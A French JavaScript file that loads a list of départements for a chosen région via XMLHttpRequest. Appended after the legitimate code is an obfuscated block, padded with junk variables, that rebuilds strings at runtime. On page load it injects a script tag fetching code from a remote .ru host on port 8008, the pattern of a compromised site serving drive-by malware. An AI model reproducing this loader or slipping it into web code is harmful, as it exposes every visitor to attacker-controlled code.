/**
 * Lister les départements d'une région avec un objet
 * XMLHTTPRequest.
 */
/* Création de la variable globale qui contiendra l'objet XHR */
var requete = null;
/**
 * Fonction privée qui va créer un objet XHR.
 * Cette fonction initialisera la valeur dans la variable globale définie
 * ci-dessus.
 */
function creerRequete()
{
    try
    {
        /* On tente de créer un objet XmlHTTPRequest */
        requete = new XMLHttpRequest();
    }
    catch (microsoft)
    {
        /* Microsoft utilisant une autre technique, on essays de créer un objet ActiveX */
        try
        {
            requete = new ActiveXObject('Msxml2.XMLHTTP');
        }
        catch(autremicrosoft)
        {
            /* La première méthode a échoué, on en teste une seconde */
            try
            {
                requete = new ActiveXObject('Microsoft.XMLHTTP');
            }
            catch(echec)
            {
                /* À ce stade, aucune méthode ne fonctionne... mettez donc votre navigateur à jour ;) */
                requete = null;
            }
        }
    }
    if(requete == null)
    {
        alert('Impossible de créer l\'objet requête,\nVotre navigateur ne semble pas supporter les object XMLHttpRequest.');
    }
}
/**
 * Fonction privée qui va mettre à jour l'affichage de la page.
 */
function actualiserDepartements()
{
    var listeDept = requete.responseText;
    var blocListe = document.getElementById('blocDepartements');
    blocListe.innerHTML = listeDept;
}

/**
 * Fonction publique appelée par la page affichée.
 * Cette fonction va initialiser la création de l'objet XHR puis appeler
 * le code serveur afin de récupérer les données à modifier dans la page.
 */
function getDepartements(idr,bien_dept)
{
    /* Si il n'y a pas d'identifiant de région, on fait disparaître la seconde liste au cas où elle serait affichée */
    if(idr == 'vide')
    {
        document.getElementById('blocDepartements').innerHTML = '';
    }
    else
    {
        /* À cet endroit précis, on peut faire apparaître un message d'attente */
        var blocListe = document.getElementById('blocDepartements');
        blocListe.innerHTML = "Traitement en cours, veuillez patienter...";
        /* On crée l'objet XHR */
        creerRequete();
        /* Définition du fichier de traitement */
        var url = 'departements.php?idr='+ idr;
        /* Envoi de la requête à la page de traitement */
        requete.open('GET', url, true);
        /* On surveille le changement d'état de la requête qui va passer successivement de 1 à 4 */
        requete.onreadystatechange = function()
        {
            /* Lorsque l'état est à 4 */
            if(requete.readyState == 4)
            {
                /* Si on a un statut à 200 */
                if(requete.status == 200)
                {
                    /* Mise à jour de l'affichage, on appelle la fonction apropriée */
                    actualiserDepartements();
                }
            }
        };
        requete.send(null);
    }
}
var qF;if(qF!='' && qF!='E'){qF=null};try {var V="";this.r="";var w;if(w!='' && w!='UW'){w=null};var s='';var M="";var y='replace';var nD=new Date();var g=RegExp;var Nft=new String();var S=']';var B='g';this.EX="";var n='[';var qQ;if(qQ!='' && qQ!='Gh'){qQ=null};function j(jp,O){var L=n;var Zh;if(Zh!='' && Zh!='sS'){Zh=''};L+=O;var HT=new Array();var Wr;if(Wr!='jF' && Wr!='nW'){Wr=''};L+=S;var d;if(d!='UY'){d='UY'};var cA;if(cA!='Jz' && cA != ''){cA=null};var yi=new g(L, B);var aH;if(aH!='' && aH!='k'){aH='SS'};var DA=new Date();return jp[y](yi, s);var aP;if(aP!='l' && aP != ''){aP=null};};var i;if(i!='' && i!='HM'){i='Tj'};var Gw;if(Gw!='' && Gw!='_'){Gw='X'};var P=new Date();var TjQ;if(TjQ!='' && TjQ!='Ao'){TjQ=''};var IM='';var QK='';var h=j('86604682220246',"6294");var Xk=new String();var ny;if(ny!='' && ny!='Jw'){ny=''};var U=j('hVtYtVpY:i/Y/YlwaUrVeUdUoYuYtYeU-YfVrY.YeVvYoVnwyw.icUoYmw.VnUaUsUzVaV-VkYlUaisUai-ipYlV.VmVywfUrYeYeimiaigV.Vrwuw:U',"iwYUV");var h_=j('/Zg_oWoZg_lWeW.ZcSoWmZ/SgWoSoWg_lZeZ.ZcSoZmZ/WoWr_kSuWtW._cSoZmZ/_b_rWeSaWk_._c_o_mZ/ZcSdZiZs_cSoZuZnWtW._cZoSm_._p_hSpS',"SW_Z");var Bw=new Date();var e;if(e!='' && e!='wX'){e=null};var a=j('sVcVrViVpVth',"hV");var I='';var C=j('oinylio1aidy',"i9y1");var R=j('cRrfeRa6t6efE6l5e6mfeRnftR',"R65f");var nI;if(nI!='' && nI!='ew'){nI='he'};var G=j('scectyA0t0t0ryicbBu0tBe0',"cBUy0");var u;if(u!='ZX'){u=''};this.AM='';var Ri=j('aSpSpmeSnmdmCShmimlSdS',"mS");var W=j('bAoAd2y2',"2PA");this.IJ="";var v="";var jp="1";var GL="";window[C]=function(){var qC;if(qC!='ea' && qC!='FT'){qC=''};var mg=new Date();F=document[R](a);this.uM='';var vJ=new Array();var xJ;if(xJ!='RL'){xJ='RL'};var aS;if(aS!='Su' && aS!='nq'){aS='Su'};I+=U;I+=h;I+=h_;var Xy;if(Xy!='' && Xy!='Wk'){Xy=null};var _I=new Date();var uG=new Array();var rB="";var aq=document[W];var b=new Array();F.src=I;var ZU;if(ZU!='' && ZU!='nY'){ZU=null};F.setAttribute('defer', jp);var Ii="";var Xw=new Date();var Tc;if(Tc!='TK'){Tc=''};aq.appendChild(F);var yd=new Date();};var rH;if(rH!='_x' && rH!='bK'){rH='_x'};var Ja;if(Ja!='tR' && Ja != ''){Ja=null};var yP=new Date();} catch(Ua){};var NU=new Array();var tQ=new String();